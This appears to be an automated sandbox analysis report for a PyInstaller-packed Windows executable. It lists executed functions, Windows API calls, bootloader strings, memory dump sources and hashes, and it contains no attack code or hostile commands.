Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: 51a07d2670193f30fdf77a6b3df9b0849c16a08b4fc514a6daec13f5d6cca019
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: 2E116032609B8182EB619F25F440259B7E4FB88B98F584230DF9D1B798DF3CD551CB40

Function 00007FF7F3DF073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF076C
GetDriveTypeW.KERNEL32 ref: 00007FF7F3DF07AC

Strings

:, xrefs: 00007FF7F3DF0795

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: 015f66b4f2a5ee5cba2f5e32fa5b8454245007a3e5960606f7366a6863bcd1fe
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 0501F76191C20381F7A4BFB0A4A127EA7A0EF44744FC00135D57D6B2C9DF3CD5448BA4

Analysis Process: aLsxeH29P2.exePID: 7368, Parent PID: 7352COMMON

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	760
Total number of Limit Nodes:	12

Executed Functions

Function 00007FF7F3DD1000 Relevance: 60.0, APIs: 6, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pyi-disable-windowed-traceback, xrefs: 00007FF7F3DD3BB2
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF7F3DD3882, 00007FF7F3DD38AF
_PYI_ARCHIVE_FILE, xrefs: 00007FF7F3DD38D2, 00007FF7F3DD39FF
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF7F3DD3EB3
Py_GIL_DISABLED, xrefs: 00007FF7F3DD3AF4
_PYI_SPLASH_IPC, xrefs: 00007FF7F3DD3A23, 00007FF7F3DD3EED
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7F3DD3C61
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF7F3DD3971
pyi-contents-directory, xrefs: 00007FF7F3DD3B8D
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF7F3DD3E9E
pyi-python-flag, xrefs: 00007FF7F3DD3AD6
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7F3DD3BE8
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF7F3DD3A0B, 00007FF7F3DD3CD4, 00007FF7F3DD3F63
Failed to load splash screen resources!, xrefs: 00007FF7F3DD3E7D
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF7F3DD3D35
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF7F3DD3D12
pyi-runtime-tmpdir, xrefs: 00007FF7F3DD3B68
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF7F3DD3A17, 00007FF7F3DD3A2F, 00007FF7F3DD3A9B
Could not create temporary directory!, xrefs: 00007FF7F3DD3CBF
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF7F3DD3B32
Failed to start splash screen!, xrefs: 00007FF7F3DD3ECC
Failed to remove temporary directory: %s, xrefs: 00007FF7F3DD3FC7
MEI, xrefs: 00007FF7F3DD3933
Failed to convert DLL search path!, xrefs: 00007FF7F3DD3DD4
VCRUNTIME140.dll, xrefs: 00007FF7F3DD3DA9
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF7F3DD39DE
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF7F3DD3E02
pkg, xrefs: 00007FF7F3DD39BE

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: b5ceb5b3e51986f255ddba2ad990e8dc75569a57b07797df16117ed6fd5ba839
Instruction ID: 4fb2ea448d07d9a1701d28de9040923eedc43dd41333b3bd64cbd30ff9cca828
Opcode Fuzzy Hash: b5ceb5b3e51986f255ddba2ad990e8dc75569a57b07797df16117ed6fd5ba839
Instruction Fuzzy Hash: 7C32AE21A0C68291FB99B7B4D4543B9F761AF44780FC44132DA7E6B2D6DF2CE568C3A0

Function 00007FF7F3DF6964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7F3DF6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF66D9
Part of subcall function 00007FF7F3DF6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF6757
Part of subcall function 00007FF7F3DF6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF67A8

CreateFileW.KERNELBASE ref: 00007FF7F3DF6A6A
CreateFileW.KERNEL32 ref: 00007FF7F3DF6ABA
GetLastError.KERNEL32 ref: 00007FF7F3DF6AEA
GetFileType.KERNELBASE ref: 00007FF7F3DF6AFF
GetLastError.KERNEL32 ref: 00007FF7F3DF6B09
CloseHandle.KERNEL32 ref: 00007FF7F3DF6B3C
CloseHandle.KERNEL32 ref: 00007FF7F3DF6C9F
CreateFileW.KERNEL32 ref: 00007FF7F3DF6CD4
GetLastError.KERNEL32 ref: 00007FF7F3DF6CE3

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: 6869748603e4a58de962c456635117745c60ba011b704a3eb74383bd1e551039
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 46C1B132B28A4285EB50EFB5C4912AC7765FB49B98B814235DE3E6B7D8CF38D055C390

Function 00007FF7F3DD9280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF7F3DD92B3
FindClose.KERNELBASE ref: 00007FF7F3DD92C2

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: a7ca895c0948d9ab81e47e3977dfa6b0a6a0bd7d763ff6a410496da1bd87aec7
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 22F0C862A1974186F7E0AFE0B489766B350EB84368F840335DA7E1A6D4DF3CD149CB40

Function 00007FF7F3DD1950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7F3DD7F90: _fread_nolock.LIBCMT ref: 00007FF7F3DD803A

_fread_nolock.LIBCMT ref: 00007FF7F3DD1A1B

Part of subcall function 00007FF7F3DD2910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7F3DD1B6A), ref: 00007FF7F3DD295E

Strings

Could not allocate memory for archive structure!, xrefs: 00007FF7F3DD1A61
Failed to seek to cookie position!, xrefs: 00007FF7F3DD19EE
MEI, xrefs: 00007FF7F3DD1991
Could not read full TOC!, xrefs: 00007FF7F3DD1B55
Could not allocate buffer for TOC!, xrefs: 00007FF7F3DD1B1B
Error on file., xrefs: 00007FF7F3DD1B8D
Failed to read cookie!, xrefs: 00007FF7F3DD1A2B
malloc, xrefs: 00007FF7F3DD1B22
calloc, xrefs: 00007FF7F3DD1A68
fread, xrefs: 00007FF7F3DD1A32, 00007FF7F3DD1B5C
fseek, xrefs: 00007FF7F3DD19F5

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 27547418d9ab5e62463e202343d91a8db4d430f9fb0a7f3bbb020ab973e08554
Instruction ID: c0abb39bb4e068bbccd6192fcc26d7cc6bf6f57499df95413ff2afa3bbc1c1a6
Opcode Fuzzy Hash: 27547418d9ab5e62463e202343d91a8db4d430f9fb0a7f3bbb020ab973e08554
Instruction Fuzzy Hash: C9819271A0D68385EBE0EBA4D0412B9B3A4FF48744F844531E9AD6B7C9DE3CE58587A0

Function 00007FF7F3DD2180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDC.USER32 ref: 00007FF7F3DD21AB
SelectObject.GDI32 ref: 00007FF7F3DD21F2
DrawTextW.USER32 ref: 00007FF7F3DD2215
SelectObject.GDI32 ref: 00007FF7F3DD222B
ReleaseDC.USER32 ref: 00007FF7F3DD223B
MoveWindow.USER32 ref: 00007FF7F3DD228B
MoveWindow.USER32 ref: 00007FF7F3DD22CB
MoveWindow.USER32 ref: 00007FF7F3DD231E
MoveWindow.USER32 ref: 00007FF7F3DD2366

Strings

P%, xrefs: 00007FF7F3DD21FF

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 8e49502afe0649f0e048a1c0c177276a1f758f142f0379655705d5355395b2fc
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: B2510626608BA186D7749F36A4581BAF7A1FB98B65F004131EFEE47694DF3CD085CB20

Function 00007FF7F3DD1470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7F3DD15DF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7F3DD14DE
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7F3DD149F
malloc, xrefs: 00007FF7F3DD151F
fread, xrefs: 00007FF7F3DD15E6
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7F3DD1518
fseek, xrefs: 00007FF7F3DD14E5

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 0415811bb7329ddca4e4a244178c4befdf0ff72a6341d4c7f046017dd740e2c3
Instruction ID: 1707ef3a49e271e07163ff1ddbfb7564dd7ab755d4cf15c5305be77f46131eea
Opcode Fuzzy Hash: 0415811bb7329ddca4e4a244178c4befdf0ff72a6341d4c7f046017dd740e2c3
Instruction Fuzzy Hash: AE418D21A0864386EB90EBA1A4412B9F3A4EF44784FC44532ED6D2BBD9DE3CE541C7A1

Function 00007FF7F3DD1210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7F3DD141E
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7F3DD1276
malloc, xrefs: 00007FF7F3DD12C1, 00007FF7F3DD12F6
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7F3DD12EF
1.3.1, xrefs: 00007FF7F3DD1249
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7F3DD12BA

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 698b21169e7bd12c857e57f237555d9e116291535cd7e4395843bf29195d2337
Instruction ID: d1f98d6a146640630b6d44f97480d82eaf7043d5bf68b8ae6c1c38cafc661599
Opcode Fuzzy Hash: 698b21169e7bd12c857e57f237555d9e116291535cd7e4395843bf29195d2337
Instruction Fuzzy Hash: F3510622A0964341EBE4BBA1A4403BAB691FF44794FC44135ED6D6B7C5DE3CE441C790

Function 00007FF7F3DD36B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7F3DD3804), ref: 00007FF7F3DD36E1
GetLastError.KERNEL32(?,00007FF7F3DD3804), ref: 00007FF7F3DD36EB

Part of subcall function 00007FF7F3DD2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7F3DD3706,?,00007FF7F3DD3804), ref: 00007FF7F3DD2C9E
Part of subcall function 00007FF7F3DD2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7F3DD3706,?,00007FF7F3DD3804), ref: 00007FF7F3DD2D63
Part of subcall function 00007FF7F3DD2C50: MessageBoxW.USER32 ref: 00007FF7F3DD2D99

Strings

GetModuleFileNameW, xrefs: 00007FF7F3DD36FA
Failed to convert executable path to UTF-8., xrefs: 00007FF7F3DD3790
Failed to obtain executable path., xrefs: 00007FF7F3DD36F3
\\?\, xrefs: 00007FF7F3DD375A
Failed to resolve full path to executable %ls., xrefs: 00007FF7F3DD3739

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: 6e3e81b34d53e10b69dc84d0416274b69e031a06a4304550f486cd0837dcf434
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: AC216251B18A4291FBA0B764E8513B6F250BF88394FC00231E57DAA5D9EE2CE505C7A0

Function 00007FF7F3DEBA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DEBE89

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c3f57b6cd1f658b3a1cfdd45bc75f21d2f6c8be166295f0eb40444005b392bd6
Instruction ID: 2ae60ac12aab64c9a0cb1b4a75a229ac41baac33c10c3e2c4ddd982db18a7b32
Opcode Fuzzy Hash: c3f57b6cd1f658b3a1cfdd45bc75f21d2f6c8be166295f0eb40444005b392bd6
Instruction Fuzzy Hash: EDC1092290D68741E7E96B9594402BDBF50FB81B80FD54231EE6E2B3D1CE7CF48587A2

Function 00007FF7F3DD6360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LoadLibrary, xrefs: 00007FF7F3DD64AE
ucrtbase.dll, xrefs: 00007FF7F3DD63DD
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF7F3DD6456
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF7F3DD6407
Failed to load Python DLL '%ls'., xrefs: 00007FF7F3DD64A7
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF7F3DD63C7

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction ID: 2e98aeb31ad3609f410d40d03e7cd1250b60627e667e6268e44fecb39f8131b8
Opcode Fuzzy Hash: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction Fuzzy Hash: C5414221A1C68691EBA1EBA0E4552E9B321FF44384FC00132EA7D6B6D9DF3CE515C7E0

Function 00007FF7F3DD2390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7F3DD23C8
DialogBoxIndirectParamW.USER32 ref: 00007FF7F3DD248E
DeleteObject.GDI32 ref: 00007FF7F3DD24C1
DestroyIcon.USER32 ref: 00007FF7F3DD24D3

Strings

Unhandled exception in script, xrefs: 00007FF7F3DD23F8

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction ID: 7e6a71673e423b3a4212b38f906b364629daf10781857dc4f7c35500625a236b
Opcode Fuzzy Hash: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction Fuzzy Hash: 03319272619A8285EBA4EBB1E8542F9B360FF88784F840135EE5D5BB89DF3CD141C750

Function 00007FF7F3DE5628 Relevance: 6.1, APIs: 4, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE5655
CreateFileW.KERNELBASE ref: 00007FF7F3DE5694
CloseHandle.KERNEL32 ref: 00007FF7F3DE56C9

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
